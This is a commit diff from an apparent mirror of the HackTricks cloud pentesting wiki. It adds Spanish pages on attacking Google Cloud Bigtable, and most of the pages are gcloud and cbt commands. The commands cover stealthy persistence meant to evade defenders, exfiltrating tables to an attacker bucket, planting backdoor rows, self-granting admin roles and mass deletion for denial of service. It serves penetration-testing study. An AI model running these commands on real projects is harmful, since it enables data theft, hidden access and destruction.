mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
Translator
@@ -0,0 +1,52 @@
|
||||
# GCP - Bigtable Persistencia
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Para más información sobre Bigtable consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### App Profile dedicado para atacante
|
||||
|
||||
**Permisos:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Crea un App Profile que enrute el tráfico a tu clúster réplica y habilita Data Boost para no depender nunca de nodos aprovisionados que los defensores puedan detectar.
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
--row-affinity --description="internal batch"
|
||||
|
||||
gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Mientras exista este perfil, puedes reconectarte usando credenciales nuevas que hagan referencia a él.
|
||||
|
||||
### Mantén tu propio clúster de réplica
|
||||
|
||||
**Permisos:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Provisiona un clúster con el mínimo número de nodos en una región de baja actividad. Incluso si tus identidades de cliente desaparecen, **el clúster mantiene una copia completa de todas las tablas** hasta que los defensores lo eliminen explícitamente.
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Monitorea esto con `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` para que puedas escalar al instante cuando necesites extraer datos.
|
||||
|
||||
### Bloquea la replicación detrás de tu propio CMEK
|
||||
|
||||
**Permisos:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
|
||||
Trae tu propia clave KMS al desplegar un clon. Sin esa clave, Google no puede recrear ni hacer fail over del cluster, por lo que blue teams deben coordinarse contigo antes de tocarlo.
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Rota o desactiva la clave en tu proyecto para inutilizar la réplica al instante (aunque aún puedas volver a activarla más tarde).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+252
@@ -0,0 +1,252 @@
|
||||
# GCP - Bigtable Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Para más información sobre Bigtable consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Instala el CLI `cbt` una vez mediante el Cloud SDK para que los comandos siguientes funcionen localmente:
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
|
||||
### Leer filas
|
||||
|
||||
**Permisos:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` se incluye con el Cloud SDK y se comunica con las admin/data APIs sin necesitar middleware. Apúntalo al proyecto/instance comprometido y extrae filas directamente de la tabla. Limita el escaneo si solo necesitas echar un vistazo.
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
### Escribir filas
|
||||
|
||||
**Permisos:** `bigtable.tables.mutateRows`, (necesitarás `bigtable.tables.readRows` para confirmar el cambio).
|
||||
|
||||
Usa la misma herramienta para insertar o actualizar (upsert) celdas arbitrarias. Esta es la forma más rápida de backdoor configs, drop web shells, o plant poisoned dataset rows.
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
|
||||
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` acepta bytes crudos a través de la sintaxis `@/path`, por lo que puedes subir payloads compilados o protobufs serializados exactamente como los servicios downstream los esperan.
|
||||
|
||||
### Exportar filas a tu bucket
|
||||
|
||||
**Permisos:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Es posible exfiltrar el contenido de una tabla completa a un bucket controlado por el atacante lanzando un job de Dataflow que transmita filas a un bucket de GCS que controles.
|
||||
|
||||
> [!NOTE]
|
||||
> Ten en cuenta que necesitarás el permiso `iam.serviceAccounts.actAs` sobre alguna SA con suficientes permisos para realizar la exportación (por defecto, si no se indica lo contrario, se usará la compute SA predeterminada).
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run dump-bigtable3 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--region=us-central1 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> Cambie la plantilla a `Cloud_Bigtable_to_GCS_Parquet` o `Cloud_Bigtable_to_GCS_SequenceFile` si desea salidas Parquet/SequenceFile en lugar de JSON. Los permisos son los mismos; solo cambia la ruta de la plantilla.
|
||||
|
||||
### Importar filas
|
||||
|
||||
**Permisos:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Es posible importar el contenido de una tabla completa desde un bucket controlado por el attacker lanzando un Dataflow job que transmita filas hacia un bucket de GCS que usted controla. Para ello, el attacker necesitará primero crear un archivo parquet con los datos a importar y con el esquema esperado. Un attacker podría primero exportar los datos en formato parquet siguiendo la técnica anterior con la opción `Cloud_Bigtable_to_GCS_Parquet` y añadir nuevas entradas al archivo parquet descargado
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Tenga en cuenta que necesitará el permiso `iam.serviceAccounts.actAs` sobre algún SA con permisos suficientes para realizar la exportación (por defecto, si no se indica lo contrario, se usará la default compute SA).
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=<PROJECT> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=us-central1 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### Restauración de copias de seguridad
|
||||
|
||||
**Permisos:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Un atacante con estos permisos puede restaurar una copia de seguridad en una nueva tabla bajo su control para poder recuperar datos sensibles antiguos.
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
|
||||
gcloud bigtable instances tables restore \
|
||||
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
|
||||
--async \
|
||||
--destination=<TABLE_ID_NEW> \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Recuperar tablas eliminadas
|
||||
|
||||
**Permisos:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable admite eliminación suave con un periodo de gracia (típicamente 7 días por defecto). Durante esta ventana, un atacante con el permiso `bigtable.tables.undelete` puede restaurar una tabla eliminada recientemente y recuperar todos sus datos, potencialmente accediendo a información sensible que se creía destruida.
|
||||
|
||||
Esto es especialmente útil para:
|
||||
- Recuperar datos de tablas eliminadas por los defensores durante la respuesta a incidentes
|
||||
- Acceder a datos históricos que fueron eliminados intencionalmente
|
||||
- Revertir eliminaciones accidentales o maliciosas para mantener persistencia
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
--show-deleted
|
||||
|
||||
# Undelete a table within the retention period
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> La operación de undelete solo funciona dentro del período de retención configurado (por defecto 7 días). Cuando vence esta ventana, la tabla y sus datos se eliminan permanentemente y no pueden recuperarse mediante este método.
|
||||
|
||||
|
||||
### Crear vistas autorizadas
|
||||
|
||||
**Permisos:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Las vistas autorizadas te permiten presentar un subconjunto curado de la tabla. En lugar de ceñirte al principio de menor privilegio, úsalas para publicar **exactamente los conjuntos de columnas/filas sensibles** que te interesan y whitelist tu propio principal.
|
||||
|
||||
> [!WARNING]
|
||||
> El asunto es que para crear una vista autorizada también necesitas poder leer y mutar filas en la tabla base; por lo tanto no estás obteniendo ningún permiso adicional, y por eso esta técnica es mayormente inútil.
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": ["acct#"],
|
||||
"familySubsets": {
|
||||
"pii": {
|
||||
"qualifiers": ["cc_number", "cc_cvv"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
gcloud bigtable authorized-views create card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/credit-cards.json
|
||||
|
||||
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Debido a que el acceso está limitado a la vista, los defensores a menudo pasan por alto el hecho de que acabas de crear un nuevo endpoint de alta sensibilidad.
|
||||
|
||||
### Leer Vistas Autorizadas
|
||||
|
||||
**Permisos:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Si tienes acceso a una vista autorizada, puedes leer datos de ella usando las bibliotecas cliente de Bigtable especificando el nombre de la vista autorizada en tus solicitudes de lectura. Ten en cuenta que la vista autorizada probablemente limitará lo que puedes acceder de la tabla. A continuación hay un ejemplo usando Python:
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
from google.cloud.bigtable_v2 import ReadRowsRequest
|
||||
|
||||
# Set your project, instance, table, view id
|
||||
PROJECT_ID = "gcp-labs-3uis1xlx"
|
||||
INSTANCE_ID = "avesc-20251118172913"
|
||||
TABLE_ID = "prod-orders"
|
||||
AUTHORIZED_VIEW_ID = "auth_view"
|
||||
|
||||
client = bigtable.Client(project=PROJECT_ID, admin=True)
|
||||
instance = client.instance(INSTANCE_ID)
|
||||
table = instance.table(TABLE_ID)
|
||||
|
||||
data_client = DataClient()
|
||||
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
|
||||
|
||||
request = ReadRowsRequest(
|
||||
authorized_view_name=authorized_view_name
|
||||
)
|
||||
|
||||
rows = data_client.read_rows(request=request)
|
||||
for response in rows:
|
||||
for chunk in response.chunks:
|
||||
if chunk.row_key:
|
||||
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
|
||||
print(f"Row: {row_key}")
|
||||
if chunk.family_name:
|
||||
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
|
||||
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Cualquiera de los permisos de eliminación de Bigtable puede ser aprovechado para ataques de Denial of Service. Un atacante con estos permisos puede interrumpir las operaciones eliminando recursos críticos de Bigtable:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Eliminar perfiles de aplicación, interrumpiendo las conexiones de clientes y las configuraciones de enrutamiento
|
||||
- **`bigtable.authorizedViews.delete`**: Eliminar vistas autorizadas, cortando las rutas de acceso legítimas para las aplicaciones
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Eliminar vinculaciones de etiquetas de las vistas autorizadas
|
||||
- **`bigtable.backups.delete`**: Destruir copias de seguridad, eliminando las opciones de recuperación ante desastres
|
||||
- **`bigtable.clusters.delete`**: Eliminar clústeres completos, causando la indisponibilidad inmediata de los datos
|
||||
- **`bigtable.instances.delete`**: Eliminar instancias completas de Bigtable, borrando todas las tablas y configuraciones
|
||||
- **`bigtable.tables.delete`**: Eliminar tablas individuales, causando pérdida de datos y fallos en las aplicaciones
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an authorized view
|
||||
gcloud bigtable authorized-views delete <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
|
||||
# Delete a backup
|
||||
gcloud bigtable backups delete <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id>
|
||||
|
||||
# Delete an app profile
|
||||
gcloud bigtable app-profiles delete <profile-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete a cluster
|
||||
gcloud bigtable clusters delete <cluster-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Las operaciones de eliminación suelen ser inmediatas e irreversibles. Asegúrese de que existan copias de seguridad antes de probar estos comandos, ya que pueden causar pérdida de datos permanente y una grave interrupción del servicio.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,105 @@
|
||||
# GCP - Bigtable Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Para más información sobre Bigtable consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Permisos:** `bigtable.instances.setIamPolicy` (y normalmente `bigtable.instances.getIamPolicy` para leer las vinculaciones actuales).
|
||||
|
||||
Poseer la política IAM de la instancia te permite otorgarte **`roles/bigtable.admin`** (o cualquier rol personalizado), que se propaga a cada clúster, tabla, copia de seguridad y vista autorizada en la instancia.
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Si no puedes listar los bindings existentes, elabora un nuevo documento de política y aplícalo con `gcloud bigtable instances set-iam-policy`, siempre que te mantengas en él.
|
||||
|
||||
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permisos:** `bigtable.tables.setIamPolicy` (opcionalmente `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Las políticas de instancia pueden estar restringidas mientras las tablas individuales están delegadas. Si puedes editar el IAM de la tabla, puedes **promoverte a propietario del conjunto de datos objetivo** sin tocar otras cargas de trabajo.
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Después de tener este permiso consulta las técnicas en la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para más formas de abusar de los permisos de Bigtable.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permisos:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Las copias de seguridad se pueden restaurar en **cualquier instancia en cualquier proyecto** que controles. Primero, da acceso a tu identidad a la copia de seguridad, y luego restáurala en un sandbox donde tengas roles Admin/Owner.
|
||||
|
||||
Si tienes el permiso `bigtable.backups.setIamPolicy`, podrías concederte a ti mismo el permiso `bigtable.backups.restore` para restaurar copias de seguridad antiguas e intentar acceder a información sensible.
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Después de realizar esta comprobación de permisos en la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver cómo restaurar una copia de seguridad.
|
||||
|
||||
### Update authorized view
|
||||
|
||||
**Permisos:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views están diseñadas para enmascarar filas/columnas. Modificarlas o eliminarlas **elimina las salvaguardas de granularidad fina** en las que confían los defensores.
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/permissive-view.json --ignore-warnings
|
||||
|
||||
# Json example not filtering any row or column
|
||||
cat <<'EOF' > /tmp/permissive-view.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": [""],
|
||||
"familySubsets": {
|
||||
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
|
||||
"qualifierPrefixes": [""]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Describe the authorized view to get a family name
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Tras obtener este permiso, consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver cómo leer desde un Authorized View.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Permisos:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Un atacante con este permiso puede concederse acceso a un Authorized View, que puede contener datos sensibles a los que, de otro modo, no tendría acceso.
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Después de tener esta comprobación de permisos en la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para comprobar cómo leer desde una vista autorizada.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,9 +2,70 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
## Bigtable
|
||||
|
||||
Un servicio de base de datos NoSQL completamente gestionado y escalable para cargas de trabajo analíticas y operativas grandes con hasta un 99.999% de disponibilidad. [Learn more](https://cloud.google.com/bigtable).
|
||||
Google Cloud Bigtable es una base de datos NoSQL totalmente gestionada y escalable, diseñada para aplicaciones que requieren un throughput extremadamente alto y baja latencia. Está construida para manejar cantidades masivas de datos — petabytes distribuidos en miles de nodos — mientras sigue proporcionando un rendimiento rápido de lectura y escritura. Bigtable es ideal para cargas de trabajo como datos de series temporales, telemetría IoT, análisis financieros, motores de personalización y bases de datos operacionales a gran escala. Utiliza un mapa ordenado, multidimensional, disperso y distribuido como su modelo de almacenamiento subyacente, lo que lo hace eficiente para almacenar tablas anchas donde muchas columnas pueden estar vacías. [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
### Jerarquía
|
||||
|
||||
1. **Instancia de Bigtable**
|
||||
|
||||
Una instancia de Bigtable es el recurso de nivel superior que creas.
|
||||
No almacena datos por sí misma: piensa en ella como un contenedor lógico que agrupa tus clústeres y tablas.
|
||||
|
||||
Existen dos tipos de instancias:
|
||||
|
||||
- Instancia de desarrollo (nodo único, barata, no para producción)
|
||||
- Instancia de producción (puede tener múltiples clústeres)
|
||||
|
||||
2. **Clústeres**
|
||||
|
||||
Un clúster contiene los recursos reales de cómputo y almacenamiento usados para servir los datos de Bigtable.
|
||||
|
||||
- Cada clúster reside en una sola región.
|
||||
- Está compuesto por nodos, que proveen CPU, RAM y capacidad de red.
|
||||
- Puedes crear instancias con múltiples clústeres para alta disponibilidad o lecturas/escrituras globales.
|
||||
- Los datos se replican automáticamente entre clústeres dentro de la misma instancia.
|
||||
|
||||
Importante:
|
||||
- Las tablas pertenecen a la instancia, no a un clúster específico.
|
||||
- Los clústeres simplemente proporcionan los recursos para servir los datos.
|
||||
|
||||
3. **Tablas**
|
||||
|
||||
Una tabla en Bigtable es similar a una tabla en bases de datos NoSQL:
|
||||
|
||||
- Los datos se almacenan en filas, identificadas por una row key.
|
||||
- Cada fila contiene familias de columnas (column families), que contienen columnas.
|
||||
- Es dispersa: las celdas vacías no consumen espacio.
|
||||
- Bigtable almacena los datos ordenados lexicográficamente por la row key.
|
||||
|
||||
Las tablas son servidas por todos los clústeres de la instancia.
|
||||
|
||||
4. **Tablets (y Hot Tablets)**
|
||||
|
||||
Bigtable divide cada tabla en particiones horizontales llamadas tablets. Una tablet es:
|
||||
|
||||
- Un rango contiguo de row keys.
|
||||
- Almacenada en un solo nodo en un momento dado.
|
||||
- Las tablets se dividen, fusionan y mueven automáticamente por Bigtable.
|
||||
|
||||
Una **hot tablet** ocurre cuando:
|
||||
|
||||
- Demasiadas lecturas o escrituras golpean el mismo rango de row-keys (la misma tablet).
|
||||
- Esa tablet/nodo específico se sobrecarga.
|
||||
- Esto conduce a hotspots (cuellos de botella de rendimiento).
|
||||
|
||||
5. **Vistas autorizadas**
|
||||
|
||||
Las vistas autorizadas permiten crear un subconjunto de los datos de una tabla que puede compartirse con usuarios o aplicaciones específicas sin darles acceso a la tabla completa. Esto es útil para:
|
||||
|
||||
- Limitar el acceso a datos sensibles.
|
||||
- Proporcionar acceso de solo lectura a columnas o filas específicas.
|
||||
|
||||
6. **Perfiles de aplicación**
|
||||
|
||||
Un app profile de Bigtable es una configuración que define cómo una aplicación o cliente específico debe interactuar con una instancia de Bigtable, especialmente en entornos con múltiples clústeres. Controla el comportamiento de enrutamiento—si las solicitudes deben dirigirse a un único clúster o distribuirse entre varios clústeres para alta disponibilidad—y regula cómo se replican las escrituras, eligiendo entre modos síncronos (consistencia más fuerte) o asíncronos (menor latencia).
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Tables
|
||||
gcloud bigtable tables list --instance <INSTANCE>
|
||||
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
|
||||
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
|
||||
## Authorized Views
|
||||
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
|
||||
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
|
||||
```
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigtable-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigtable-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user